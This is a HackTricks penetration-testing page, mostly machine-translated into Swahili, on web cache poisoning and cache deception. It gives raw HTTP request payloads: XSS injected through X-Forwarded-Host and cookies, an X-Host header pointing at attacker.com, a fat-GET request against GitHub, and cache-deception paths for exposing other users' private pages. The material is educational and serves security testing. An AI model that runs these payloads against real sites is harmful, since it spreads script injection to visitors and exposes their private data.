hacktricks/pentesting-web/cache-deception

Cache Poisoning and Cache Deception

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!
• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

{% endhint %}

Use Trickest to easily build and automate workflows powered by the world's most advanced community tools.
Get Access Today:

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=cache-deception" %}

The difference

Nini tofauti kati ya kuharibu cache ya wavuti na udanganyifu wa cache ya wavuti?

• Katika kuharibu cache ya wavuti, mshambuliaji anasababisha programu kuhifadhi maudhui mabaya katika cache, na maudhui haya yanatolewa kutoka kwenye cache kwa watumiaji wengine wa programu.
• Katika udanganyifu wa cache ya wavuti, mshambuliaji anasababisha programu kuhifadhi maudhui nyeti yanayomilikiwa na mtumiaji mwingine katika cache, na mshambuliaji kisha anapata maudhui haya kutoka kwenye cache.

Cache Poisoning

Cache poisoning inalenga kubadilisha cache ya upande wa mteja ili kulazimisha wateja kupakua rasilimali ambazo hazitarajiwa, sehemu, au chini ya udhibiti wa mshambuliaji. Kiwango cha athari kinategemea umaarufu wa ukurasa ulioathiriwa, kwani jibu lililochafuliwa linatolewa pekee kwa watumiaji wanaotembelea ukurasa wakati wa kipindi cha uchafuzi wa cache.

Utekelezaji wa shambulio la cache poisoning unajumuisha hatua kadhaa:

1. Utambuzi wa Ingizo Lisilo na Funguo: Hizi ni vigezo ambavyo, ingawa havihitajiki kwa ombi kuhifadhiwa katika cache, vinaweza kubadilisha jibu linalotolewa na seva. Kutambua vigezo hivi ni muhimu kwani vinaweza kutumika kubadilisha cache.
2. Kutatua Vigezo Visivyo na Funguo: Baada ya kutambua vigezo visivyo na funguo, hatua inayofuata ni kubaini jinsi ya kutumia vibaya vigezo hivi ili kubadilisha jibu la seva kwa njia inayomfaidi mshambuliaji.
3. Kuhakikisha Jibu Lililochafuliwa Linahifadhiwa Katika Cache: Hatua ya mwisho ni kuhakikisha kwamba jibu lililobadilishwa linahifadhiwa katika cache. Kwa njia hii, mtumiaji yeyote anayepata ukurasa ulioathiriwa wakati cache imechafuliwa atapata jibu lililochafuliwa.

Discovery: Check HTTP headers

Kawaida, wakati jibu lime hifadhiwa katika cache kutakuwa na kichwa kinachoonyesha hivyo, unaweza kuangalia ni vichwa vipi unapaswa kuzingatia katika chapisho hili: HTTP Cache headers.

Discovery: Caching error codes

Ikiwa unafikiria kwamba jibu linahifadhiwa katika cache, unaweza kujaribu kutuma maombi yenye kichwa kibaya, ambacho kinapaswa kujibiwa kwa kodi ya hali 400. Kisha jaribu kufikia ombi kawaida na ikiwa jibu ni kodi ya hali 400, unajua ni hatari (na unaweza hata kufanya DoS).

Unaweza kupata chaguzi zaidi katika:

{% content-ref url="cache-poisoning-to-dos.md" %} cache-poisoning-to-dos.md {% endcontent-ref %}

Hata hivyo, kumbuka kwamba wakati mwingine aina hizi za kodi za hali hazihifadhiwi hivyo jaribio hili linaweza kuwa si la kuaminika.

Discovery: Identify and evaluate unkeyed inputs

Unaweza kutumia Param Miner ili kufanya brute-force vigezo na vichwa ambavyo vinaweza kuwa vinabadilisha jibu la ukurasa. Kwa mfano, ukurasa unaweza kuwa unatumia kichwa X-Forwarded-For kuonyesha mteja kupakua script kutoka pale:

<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>

Elicit a harmful response from the back-end server

With the parameter/header identified check how it is being sanitised and where is it getting reflected or affecting the response from the header. Can you abuse it anyway (perform an XSS or load a JS code controlled by you? perform a DoS?...)

Get the response cached

Once you have identified the page that can be abused, which parameter/header to use and how to abuse it, you need to get the page cached. Depending on the resource you are trying to get in the cache this could take some time, you might need to be trying for several seconds.

The header X-Cache in the response could be very useful as it may have the value miss when the request wasn't cached and the value hit when it is cached.
The header Cache-Control is also interesting to know if a resource is being cached and when will be the next time the resource will be cached again: Cache-Control: public, max-age=1800

Another interesting header is Vary. This header is often used to indicate additional headers that are treated as part of the cache key even if they are normally unkeyed. Therefore, if the user knows the User-Agent of the victim he is targeting, he can poison the cache for the users using that specific User-Agent.

One more header related to the cache is Age. It defines the times in seconds the object has been in the proxy cache.

When caching a request, be careful with the headers you use because some of them could be used unexpectedly as keyed and the victim will need to use that same header. Always test a Cache Poisoning with different browsers to check if it's working.

Exploiting Examples

Easiest example

A header like X-Forwarded-For is being reflected in the response unsanitized.
You can send a basic XSS payload and poison the cache so everybody that accesses the page will be XSSed:

GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"

Note that this will poison a request to /en?region=uk not to /en

Cache poisoning to DoS

{% content-ref url="cache-poisoning-to-dos.md" %} cache-poisoning-to-dos.md {% endcontent-ref %}

Kutumia uharibifu wa cache ya wavuti kutekeleza udhaifu wa usimamizi wa kuki

Kuki zinaweza pia kuakisiwa kwenye jibu la ukurasa. Ikiwa unaweza kuzitumia kuleta XSS kwa mfano, unaweza kuwa na uwezo wa kutekeleza XSS katika wateja kadhaa wanaopakia jibu la cache hatari.

GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"

Note that if the vulnerable cookie is very used by the users, regular requests will be cleaning the cache.

Generating discrepancies with delimiters, normalization and dots

Check:

{% content-ref url="cache-poisoning-via-url-discrepancies.md" %} cache-poisoning-via-url-discrepancies.md {% endcontent-ref %}

Cache poisoning with path traversal to steal API key

Hii andiko inaelezea jinsi ilivyowezekana kuiba funguo ya API ya OpenAI kwa URL kama https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123 kwa sababu chochote kinacholingana na /share/* kitahifadhiwa bila Cloudflare kuimarisha URL, ambayo ilifanywa wakati ombi lilipofika kwenye seva ya wavuti.

Hii pia inaelezwa vizuri zaidi katika:

{% content-ref url="cache-poisoning-via-url-discrepancies.md" %} cache-poisoning-via-url-discrepancies.md {% endcontent-ref %}

Using multiple headers to exploit web cache poisoning vulnerabilities

Wakati mwingine utahitaji kutumia ingizo kadhaa zisizo na funguo ili uweze kutumia cache. Kwa mfano, unaweza kupata Open redirect ikiwa utaweka X-Forwarded-Host kwa domain inayodhibitiwa na wewe na X-Forwarded-Scheme kuwa http.Ikiwa seva in apeleka maombi yote ya HTTP kwenda HTTPS na kutumia kichwa X-Forwarded-Scheme kama jina la domain kwa ajili ya uelekeo. Unaweza kudhibiti mahali ukurasa unapoelekezwa na uelekeo.

GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http

Kutumia kwa njia ya Varyheader iliyopunguzwa

Ikiwa umebaini kwamba kichwa cha X-Host kinatumika kama jina la kikoa kupakia rasilimali ya JS lakini kichwa cha Vary katika jibu kinaonyesha User-Agent. Basi, unahitaji kutafuta njia ya kuhamasisha User-Agent wa mwathirika na kuharibu cache kwa kutumia user agent hiyo:

GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com

Fat Get

Tuma ombi la GET na ombi katika URL na katika mwili. Ikiwa seva ya wavuti inatumia ile kutoka kwa mwili lakini seva ya cache inahifadhi ile kutoka kwa URL, mtu yeyote anayefikia URL hiyo atatumia parameter kutoka kwa mwili. Kama ile vuln James Kettle alipata kwenye tovuti ya Github:

GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 22

report=innocent-victim

There it a portswigger lab about this: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get

Parameter Cloacking

Kwa mfano, inawezekana kutenganisha parameters katika seva za ruby kwa kutumia herufi ; badala ya &. Hii inaweza kutumika kuweka thamani za parameters zisizo na ufunguo ndani ya zile zenye ufunguo na kuzitumia vibaya.

Portswigger lab: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking

Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling

Jifunze hapa jinsi ya kufanya Cache Poisoning attacks by abusing HTTP Request Smuggling.

Automated testing for Web Cache Poisoning

The Web Cache Vulnerability Scanner inaweza kutumika kujaribu kiotomatiki kwa ajili ya web cache poisoning. Inasaidia mbinu nyingi tofauti na inaweza kubadilishwa kwa urahisi.

Example usage: wcvs -u example.com

Vulnerable Examples

Apache Traffic Server (CVE-2021-27577)

ATS ilituma kipande ndani ya URL bila kukiondoa na kuunda ufunguo wa cache kwa kutumia tu mwenyeji, njia na swali (ikikosa kipande). Hivyo ombi /#/../?r=javascript:alert(1) lilitumwa kwa backend kama /#/../?r=javascript:alert(1) na ufunguo wa cache haukuwa na payload ndani yake, tu mwenyeji, njia na swali.

GitHub CP-DoS

Kutuma thamani mbaya katika kichwa cha content-type kulisababisha jibu la 405 lililohifadhiwa. Ufunguzi wa cache ulikuwa na cookie hivyo ilikuwa inawezekana kushambulia watumiaji wasio na uthibitisho pekee.

GitLab + GCP CP-DoS

GitLab inatumia GCP buckets kuhifadhi maudhui ya statiki. GCP Buckets inasaidia kichwa x-http-method-override. Hivyo ilikuwa inawezekana kutuma kichwa x-http-method-override: HEAD na kuharibu cache ili irejeshe mwili wa jibu tupu. Pia inaweza kusaidia mbinu PURGE.

Rack Middleware (Ruby on Rails)

Katika programu za Ruby on Rails, Rack middleware mara nyingi hutumiwa. Lengo la msimbo wa Rack ni kuchukua thamani ya kichwa cha x-forwarded-scheme na kuipatia kama mpango wa ombi. Wakati kichwa x-forwarded-scheme: http kinatumwa, uelekeo wa 301 unafanyika kwa eneo hilo hilo, huenda kusababisha Denial of Service (DoS) kwa rasilimali hiyo. Zaidi ya hayo, programu inaweza kutambua kichwa cha X-forwarded-host na kuwaelekeza watumiaji kwa mwenyeji aliyetajwa. Tabia hii inaweza kusababisha kupakia faili za JavaScript kutoka kwa seva ya mshambuliaji, ikileta hatari ya usalama.

403 and Storage Buckets

Cloudflare hapo awali ilihifadhi majibu ya 403. Kujaribu kufikia S3 au Azure Storage Blobs kwa kichwa kisicho sahihi cha Uidhinishaji kutasababisha jibu la 403 ambalo lilihifadhiwa. Ingawa Cloudflare imeacha kuhifadhi majibu ya 403, tabia hii inaweza bado kuwepo katika huduma nyingine za proxy.

Injecting Keyed Parameters

Caches mara nyingi hujumuisha parameters maalum za GET katika ufunguo wa cache. Kwa mfano, Varnish ya Fastly ilihifadhi parameter ya size katika maombi. Hata hivyo, ikiwa toleo lililowekwa URL la parameter (mfano, siz%65) lilitumwa pia na thamani isiyo sahihi, ufunguo wa cache ungejengwa kwa kutumia parameter sahihi ya size. Hata hivyo, backend ingepitia thamani katika parameter iliyowekwa URL. Kuweka URL-encoding kwenye parameter ya pili ya size kulisababisha kuondolewa kwake na cache lakini kutumika na backend. Kuweka thamani ya 0 kwa parameter hii kulisababisha kosa la 400 Bad Request ambalo linaweza kuhifadhiwa.

User Agent Rules

Wakandarasi wengine huzuia maombi na user-agents yanayolingana na yale ya zana zenye trafiki kubwa kama FFUF au Nuclei ili kudhibiti mzigo wa seva. Kwa bahati mbaya, mbinu hii inaweza kuleta udhaifu kama vile cache poisoning na DoS.

Illegal Header Fields

The RFC7230 inasema wahusika wanaokubalika katika majina ya kichwa. Vichwa vinavyokuwa na wahusika nje ya anuwai ya tchar vinapaswa kwa kawaida kusababisha jibu la 400 Bad Request. Katika mazoezi, seva hazifuatilii kila wakati kiwango hiki. Mfano maarufu ni Akamai, ambayo inasambaza vichwa vyenye wahusika wasiokubalika na kuhifadhi kosa lolote la 400, mradi tu kichwa cha cache-control hakipo. Mfano wa kutumika ulikutwa ambapo kutuma kichwa chenye wahusika haramu, kama \, kutasababisha kosa la 400 Bad Request ambalo linaweza kuhifadhiwa.

Finding new headers

https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6

Cache Deception

Lengo la Cache Deception ni kuwafanya wateja kupakua rasilimali ambazo zitahifadhiwa na cache zikiwa na taarifa zao nyeti.

Kwanza kabisa, kumbuka kwamba extensions kama .css, .js, .png n.k. kwa kawaida zimewekwa ili kuhifadhiwa katika cache. Hivyo, ikiwa unapata www.example.com/profile.php/nonexistent.js cache itahifadhi jibu kwa sababu inaona extension ya .js. Lakini, ikiwa programu inajibu na maudhui ya mtumiaji nyeti yaliyohifadhiwa katika www.example.com/profile.php, unaweza kuiba maudhui hayo kutoka kwa watumiaji wengine.

Mambo mengine ya kujaribu:

• www.example.com/profile.php/.js
• www.example.com/profile.php/.css
• www.example.com/profile.php/test.js
• www.example.com/profile.php/../test.js
• www.example.com/profile.php/%2e%2e/test.js
• Tumia extensions zisizojulikana kama .avif

Mfano mwingine wazi sana unaweza kupatikana katika andiko hili: https://hackerone.com/reports/593712.
Katika mfano, inaelezwa kwamba ikiwa unapata ukurasa usio na kuwepo kama http://www.example.com/home.php/non-existent.css maudhui ya http://www.example.com/home.php (ikiwa na taarifa nyeti za mtumiaji) yatarudishwa na seva ya cache itahifadhi matokeo.
Kisha, mshambuliaji anaweza kufikia http://www.example.com/home.php/non-existent.css katika kivinjari chao na kuona taarifa za siri za watumiaji ambao walifika hapo awali.

Kumbuka kwamba cache proxy inapaswa kuwa imewekwa ili kuhifadhi faili kulingana na extension ya faili (.css) na si kulingana na aina ya maudhui. Katika mfano http://www.example.com/home.php/non-existent.css itakuwa na aina ya maudhui ya text/html badala ya aina ya mime ya text/css (ambayo inatarajiwa kwa faili ya .css).

Jifunze hapa jinsi ya kufanya Cache Deceptions attacks abusing HTTP Request Smuggling.

Automatic Tools

• toxicache: Golang scanner kutafuta udhaifu wa web cache poisoning katika orodha ya URLs na kujaribu mbinu nyingi za kuingiza.

References

• https://portswigger.net/web-security/web-cache-poisoning
• https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities
• https://hackerone.com/reports/593712
• https://youst.in/posts/cache-poisoning-at-scale/
• https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9
• https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/

Tumia Trickest kujenga na kujiendesha kazi kwa urahisi kwa kutumia zana za jamii zilizoendelea zaidi duniani.
Pata Ufikiaji Leo:

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=cache-deception" %}

{% hint style="success" %} Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Angalia mpango wa usajili!
• Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au fuata sisi kwenye Twitter 🐦 @hacktricks_live.
• Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud github repos.

{% endhint %}